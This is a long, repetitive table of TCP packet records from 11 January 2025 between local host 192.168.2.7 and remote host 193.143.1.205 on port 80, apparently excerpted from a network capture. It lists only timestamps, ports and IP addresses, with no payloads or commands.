Jan 11, 2025 05:39:40.645051003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.645085096 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.645159960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.645170927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.645180941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.645216942 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.645243883 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.645272017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.645283937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.645332098 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.645911932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.645979881 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.645989895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.646049023 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.646089077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.646099091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.646105051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.646110058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.646169901 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.646302938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.646363020 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.646929979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.646941900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.646970034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.647003889 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.647063971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.647083044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.647110939 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.647142887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.647152901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.647165060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.647198915 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.647224903 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.647965908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.647979021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.647991896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.648035049 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.648116112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.648128033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.648138046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.648149967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.648168087 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.648180008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.648190975 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.648438931 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.648869991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.648881912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.648893118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.648926020 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.649022102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.649033070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.649044037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.649091959 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.649147034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.649158955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.649163961 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.649203062 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.649880886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.649892092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.649903059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.649928093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.649950981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.649985075 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.650015116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.650026083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.650037050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.650048018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.650074005 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.650108099 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.650171995 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.650885105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.650897980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.650908947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.650939941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.650950909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.650962114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.650970936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.650974035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.651021957 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.651021957 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.651067972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.651108027 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.655436039 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.660362959 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.662919998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.662965059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.662976980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.663027048 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.663074970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.663093090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.663104057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.663115025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.663141966 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.663184881 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.663223028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.663340092 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.665802002 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.670694113 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.696819067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.696846008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.696857929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.696932077 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.730683088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.730712891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.730726004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.730753899 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.730792999 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.730817080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.730833054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.730844975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.730880976 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.730931997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.730943918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.730952978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.730971098 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.730995893 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.731025934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.731038094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.731048107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.731059074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.731081009 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.731107950 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.731163979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.731266975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.731277943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.731287956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.731297970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.731302977 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.731309891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.731333017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.731333971 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.731349945 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.731475115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.731508970 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.764580965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.764600992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.764611959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.764625072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.764643908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.764656067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.764708996 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.764708996 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.764785051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.764786005 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.764797926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.764832020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.764839888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.764842033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.764853001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.764863968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.764879942 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.764899015 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.764935017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.764945030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.764977932 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.765021086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.765032053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.765043020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.765052080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.765069008 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.765100956 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.765135050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.765146971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.765186071 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.765222073 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.765233040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.765269041 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.765306950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.765319109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.765371084 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.765407085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.765418053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.765428066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.765465975 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.765564919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.765577078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.765587091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.765597105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.765608072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.765610933 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.765619040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.765641928 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.765666962 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.765796900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.765809059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.765836000 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.765845060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.765856981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.765892982 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.765976906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.765988111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.765997887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.766007900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.766017914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.766021967 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.766047955 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.766072035 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.766243935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.766254902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.766266108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.766275883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.766287088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.766299963 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.766328096 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.766403913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.766421080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.766432047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.766442060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.766443968 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.766453981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.766469002 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.766491890 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.766659021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.766669989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.766680002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.766690969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.766706944 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.766735077 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.769767046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.769781113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.769792080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.769802094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.769813061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.769823074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.769834995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.769834042 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.769877911 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.769901037 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.769910097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.769922018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.769932985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.769952059 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.769977093 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.770086050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.770097017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.770107031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.770124912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.770138025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.770148993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.770153999 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.770159960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.770179033 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.770203114 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.770265102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.770276070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.770287037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.770318985 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.770345926 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.770407915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.770420074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.770431042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.770441055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.770452023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.770462990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.770463943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.770492077 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.770518064 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.770562887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.770575047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.770586014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.770596981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.770606995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.770622969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.770633936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.770633936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.770633936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.770663977 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.770761013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.770772934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.770802021 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.770807981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.770819902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.770848036 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.770932913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.770946026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.770956039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.770967960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.770978928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.770979881 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.771008015 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.771027088 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.771529913 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.985207081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.985236883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.985251904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.985263109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.985275984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.985286951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.985299110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.985304117 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.985311985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.985399008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.985399961 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.985399961 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.985413074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.985426903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.985438108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.985450983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.985479116 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.985506058 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.985718966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.985738993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.985753059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.985764027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.985768080 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.985775948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.985790014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.985790014 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.985802889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.985815048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.985821962 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.985826015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.985837936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.985840082 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.985851049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.985861063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.985886097 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.985922098 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.985922098 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.986140966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.986152887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.986164093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.986175060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.986186028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.986196041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.986196995 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.986207962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.986219883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.986223936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.986232042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.986243963 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.986272097 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.986723900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.986742973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.986753941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.986763954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.986774921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.986777067 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.986785889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.986799002 CET	80	49699	193.143.1.205	192.168.2.7
